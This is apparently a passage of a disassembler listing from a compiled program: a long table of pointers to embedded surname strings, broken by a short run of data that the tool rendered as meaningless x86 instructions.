		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
